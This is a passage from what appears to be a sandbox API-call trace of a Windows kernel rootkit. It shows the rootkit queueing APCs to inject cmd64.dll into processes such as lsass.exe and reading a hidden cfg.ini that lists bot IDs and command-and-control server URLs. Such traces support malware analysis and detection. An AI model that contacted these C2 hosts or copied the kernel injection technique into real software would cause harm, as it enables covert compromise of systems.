Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0073.925] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x50000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0073.925] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0073.925] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003560b30 [0073.925] KeInitializeApc (Apc=0xfffffa8003560b30, Thread=0xfffffa8003558350, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0073.925] KeInsertQueueApc (Apc=0xfffffa8003560b30, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0073.925] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0073.925] ZwClose (Handle=0x14) returned 0x0 [0073.925] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.926] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.926] KeEnterCriticalRegion () [0073.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.926] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.926] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8003557e90, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0073.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.926] KeLeaveCriticalRegion () [0073.926] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.926] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0073.926] PsGetProcessImageFileName () returned 0xfffffa8003558e10 [0073.926] _snprintf (in: _Dest=0xfffffa800356fb98, _Count=0x103, _Format="%s (x64)" | out: _Dest="lsass.exe (x64)") returned 15 [0073.926] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0073.926] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0073.926] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.926] KeEnterCriticalRegion () [0073.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.926] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0073.926] IdePortDispatch () returned 0x103 [0073.926] KeWaitForMutexObject () returned 0x0 [0073.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.926] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0073.926] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0073.926] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0073.926] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800bb6d840 [0073.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.926] KeLeaveCriticalRegion () [0073.926] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.926] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0073.926] NtLockFile (in: FileHandle=0xffffffff80000238, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0073.927] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.927] KeEnterCriticalRegion () [0073.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.927] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0073.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.927] KeLeaveCriticalRegion () [0073.927] ZwQueryInformationFile (in: FileHandle=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0073.927] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.927] KeEnterCriticalRegion () [0073.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.927] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0073.927] IdePortDispatch () returned 0x103 [0073.927] KeWaitForMutexObject () returned 0x0 [0073.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.927] KeLeaveCriticalRegion () [0073.927] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.927] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a0065754a0 [0073.927] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0073.927] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0073.927] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="lsass.exe (x64)=") returned 16 [0073.927] _strlwr (in: _Str="lsass.exe (x64)=" | out: _Str="lsass.exe (x64)=") returned="lsass.exe (x64)=" [0073.927] ZwReadFile (in: FileHandle=0xffffffff80000238, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0065754a0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0065754a0*) returned 0x0 [0073.927] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.927] KeEnterCriticalRegion () [0073.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dae4a0 [0073.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.927] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.927] IdePortDispatch () returned 0x103 [0073.928] KeWaitForMutexObject () returned 0x0 [0073.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.928] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.928] IdePortDispatch () returned 0x103 [0073.928] KeWaitForMutexObject () returned 0x0 [0073.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.928] KeLeaveCriticalRegion () [0073.928] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.928] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0073.928] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="lsass.exe (x64)=") returned 0x0 [0073.928] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0073.928] ExFreePoolWithTag (P=0xfffff8a0065754a0, Tag=0x0) [0073.928] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.928] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.928] KeEnterCriticalRegion () [0073.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.928] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.928] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800356f740, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0073.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.928] KeLeaveCriticalRegion () [0073.928] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.928] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.928] KeEnterCriticalRegion () [0073.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.929] ExFreePoolWithTag (P=0xfffffa800bb6d840, Tag=0x0) [0073.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.929] KeLeaveCriticalRegion () [0073.929] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.929] ZwClose (Handle=0xffffffff80000240) returned 0x0 [0073.929] KeSetEvent (in: Event=0xfffffa800356f870, Increment=0x0, Wait=0 | out: Event=0xfffffa800356f870) returned 0 [0073.976] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x1ec, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff80000240) returned 0x0 [0073.976] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0073.976] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0073.976] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.976] KeEnterCriticalRegion () [0073.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.976] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0073.976] IdePortDispatch () returned 0x103 [0073.976] KeWaitForMutexObject () returned 0x0 [0073.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.976] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0073.976] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0073.976] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0073.976] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800356f090 [0073.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.976] KeLeaveCriticalRegion () [0073.976] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.977] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0073.977] NtLockFile (in: FileHandle=0xffffffff80000238, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0073.977] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.977] KeEnterCriticalRegion () [0073.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0073.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.977] KeLeaveCriticalRegion () [0073.977] ZwQueryInformationFile (in: FileHandle=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0073.977] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.977] KeEnterCriticalRegion () [0073.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.977] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0073.977] IdePortDispatch () returned 0x103 [0073.977] KeWaitForMutexObject () returned 0x0 [0073.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.977] KeLeaveCriticalRegion () [0073.977] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.977] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a006584c40 [0073.977] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0073.977] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0073.977] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0073.977] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0073.977] ZwReadFile (in: FileHandle=0xffffffff80000238, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006584c40, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006584c40*) returned 0x0 [0073.977] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.977] KeEnterCriticalRegion () [0073.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.977] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8ec40 [0073.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.978] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.978] IdePortDispatch () returned 0x103 [0073.978] KeWaitForMutexObject () returned 0x0 [0073.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.978] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.978] IdePortDispatch () returned 0x103 [0073.978] KeWaitForMutexObject () returned 0x0 [0073.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.978] KeLeaveCriticalRegion () [0073.978] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.978] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0073.978] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0073.978] strncpy (in: _Dest=0xfffffa80035705a4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0073.978] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0073.978] ExFreePoolWithTag (P=0xfffff8a006584c40, Tag=0x0) [0073.978] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.978] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.978] KeEnterCriticalRegion () [0073.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.979] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.979] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003570250, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0073.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.979] KeLeaveCriticalRegion () [0073.979] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.979] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.979] KeEnterCriticalRegion () [0073.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.979] ExFreePoolWithTag (P=0xfffffa800356f090, Tag=0x0) [0073.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.979] KeLeaveCriticalRegion () [0073.979] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.979] KeStackAttachProcess (in: PROCESS=0xfffffa80035604c0, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80035604c0, ApcState=0xfffff88002f8fa58) [0073.979] _snwprintf (in: _Dest=0xfffffa800357039c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0073.979] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0073.979] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0073.979] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.979] KeEnterCriticalRegion () [0073.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.979] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0073.979] IdePortDispatch () returned 0x103 [0073.979] KeWaitForMutexObject () returned 0x0 [0073.979] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 